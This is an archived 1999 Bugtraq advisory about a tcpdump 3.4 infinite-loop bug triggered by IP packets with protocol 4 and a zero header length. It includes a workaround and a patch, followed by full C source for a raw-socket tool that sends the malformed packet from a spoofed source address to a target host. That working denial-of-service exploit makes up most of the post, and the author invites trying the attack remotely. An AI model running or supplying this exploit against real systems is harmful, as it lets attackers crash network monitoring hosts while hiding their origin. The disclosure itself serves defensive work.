[10833] in bugtraq

home help back first fref pref prev next nref lref last post

tcpdump 3.4 bug?

daemon@ATHENA.MIT.EDU (badi)
Wed Jun 16 14:38:57 1999

Content-Type: text/plain
Mime-Version: 1.0
Content-Transfer-Encoding: QUOTED-PRINTABLE
Message-Id: <86010116595204.00853@dune>
Date: 	Wed, 1 Jan 1986 16:30:10 +0100
Reply-To: badi <bladi@EUSKALNET.NET>
From: badi <bladi@EUSKALNET.NET>
To: BUGTRAQ@NETSPACE.ORG

/*
tcpdump bug 3.4a? by BLADI (bladi@euskalnet.net);

On receiving an ip packet with Protocol-4 and ihl=3D0, tcpdump enters
an infinite loop within the procedure ip_print() from file print_ip.c
This happens because the header length (ihl) equals '0' and tcpdump
tries to print the packet

I've tried the bug in diferent OS's


Linux:

     SuSE 6.x: =09
                   K2.0.36   tcpdump consumes all the system memory   =09
	           K2.2.5    in less than a minute and hangs the system
	           K2.2.9    or sometimes gives an error from the bus
	           K2.3.2
	           K2.3.5

     RedHat 5.2:   K2.?.?    tcpdump makes a segmentation fault to happ=
en
	    6.0:   K2.2.9    and it sometimes does a coredump
	   =09
     Debian	   K2.2.?    tcpdump makes a segmentation fault to happen
                             and does a coredump
		=09
Freebsd			     Segmentation fault & Coredump  Thanks to: wb^3,Cagliostr
Solaris			     Segmentation fault & Coredump  Thanks to: acpizer
Aix			     ?
Hp-UX			     ?
-------------------------------------------------------------
This tests have been carried out in loopback mode, given that protocol =
4
won't get through the routers. It would be interesting to perform the a=
ttack
remotely in an intranet.
But i do not have access to one.
-----------------------------------------------------------------------=
-------
Thanks to:
the channels:
#ayuda_irc,#dune,#linux,#networking,#nova y #seguridad_inform=E1tica.
from irc.irc-hispano.org
Special thanks go to:
Topo[lb],^Goku^,Yogurcito,Pixie,Void,S|r_|ce,JiJ79,Unscared etc...

Thanks to Piotr Wilkin for the rip base code ;)

And big thanks go to TeMpEsT for this translation.

------
I've found two ways of solving the problem
Solution 1
execute:    tcpdump -s 24

Solution 2  Apply this little patch.

diff -r -p /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c /tcpdump-3.4a7/tcpdu=
mp-3.4a6/print-ip.c
*** /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c     Wed May 28 21:51:45 199=
7
--- /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c     Tue Oct 27 05:35:27 199=
8
*************** ip_print(register const u_char *bp, regi
*** 440,446 ****
        		        (void)printf("%s > %s: ",
                                             ipaddr_string(&ip->ip_src)=
,
                                             ipaddr_string(&ip->ip_dst)=
);
-                       ip_print(cp, len);
                        if (! vflag) {
                                printf(" (ipip)");
                                return;
--- 440,445 ----
																									=09
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
struct icmp_hdr
     {
          struct iphdr iph;
          char text[15];
     }
    encaps;
int in_cksum(int *ptr, int nbytes)
     {
           long sum;
	   u_short oddbyte, answer;
           sum =3D 0;
           while (nbytes > 1)
                   {
   		    sum +=3D *ptr++;
	            nbytes -=3D 2;
                   }
	   if (nbytes =3D=3D 1)
		   {
		    oddbyte =3D 0;
		    *((u_char *)&oddbyte) =3D *(u_char *)ptr;
		    sum +=3D oddbyte;
		   }
	   sum =3D (sum >> 16) + (sum & 0xffff);
	   sum +=3D (sum >> 16);
	   answer =3D ~sum;
	   return(answer);
     }
struct sockaddr_in sock_open(int socket, char *address,int prt)
     {
	struct hostent *host;
	struct sockaddr_in sin;=09

	if ((host =3D gethostbyname(address)) =3D=3D NULL)
             {
		  perror("Unable to get host name");
	          exit(-1);
	     }
	bzero((char *)&sin, sizeof(sin));

	sin.sin_family =3D PF_INET;
	sin.sin_port =3D htons(prt);
	bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
	return(sin);
     }

void main(int argc, char **argv)
     {
	int sock, i,k;
	int on =3D 1;
	struct sockaddr_in addrs;
	printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n");
	if (argc < 3)
		{
    		  printf("Uso: %s <ip_spoof> <dest_ip> \n", argv[0]);
		  exit(-1);
		}
        encaps.text[0]=3D66; encaps.text[1]=3D76; encaps.text[2]=3D65; =
encaps.text[3]=3D68;
        encaps.text[4]=3D73; encaps.text[5]=3D32; encaps.text[6]=3D84; =
encaps.text[7]=3D90;
        encaps.text[8]=3D32; encaps.text[9]=3D84; encaps.text[10]=3D79;=
encaps.text[11]=3D32;        encaps.text[12]=3D84;encaps.text[13]=3D79;=
encaps.text[14]=3D80;encaps.text[15]=3D79;=09
	sock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) =
=3D=3D -1)
		{
	    	    perror("Can't set IP_HDRINCL option on socket");
		}
	if (sock < 0)
		{
		    exit(-1);
		}
	fflush(stdout);
	addrs =3D sock_open(sock, argv[2], random() % 255);
		    encaps.iph.version   =3D 0;
		    encaps.iph.ihl       =3D 0;
		    encaps.iph.frag_off  =3D htons(0);
		    encaps.iph.id        =3D htons(0x001);
		    encaps.iph.protocol  =3D 4;
		    encaps.iph.ttl       =3D 146;
		    encaps.iph.tot_len   =3D 6574;
		    encaps.iph.daddr     =3D addrs.sin_addr.s_addr;
		    encaps.iph.saddr     =3D inet_addr(argv[1]);
	            printf ("\t DuMpInG %s ---> %s \n",argv[1],argv[2]);
		    if (sendto(sock, &encaps, 1204, 0, (struct sockaddr *)&addrs, siz=
eof(struct sockaddr)) =3D=3D -1)
		    	    {
			      if (errno !=3D ENOBUFS) printf("Error :(\n");
			    }
		    fflush(stdout);
	close(sock);
}

home help back first fref pref prev next nref lref last post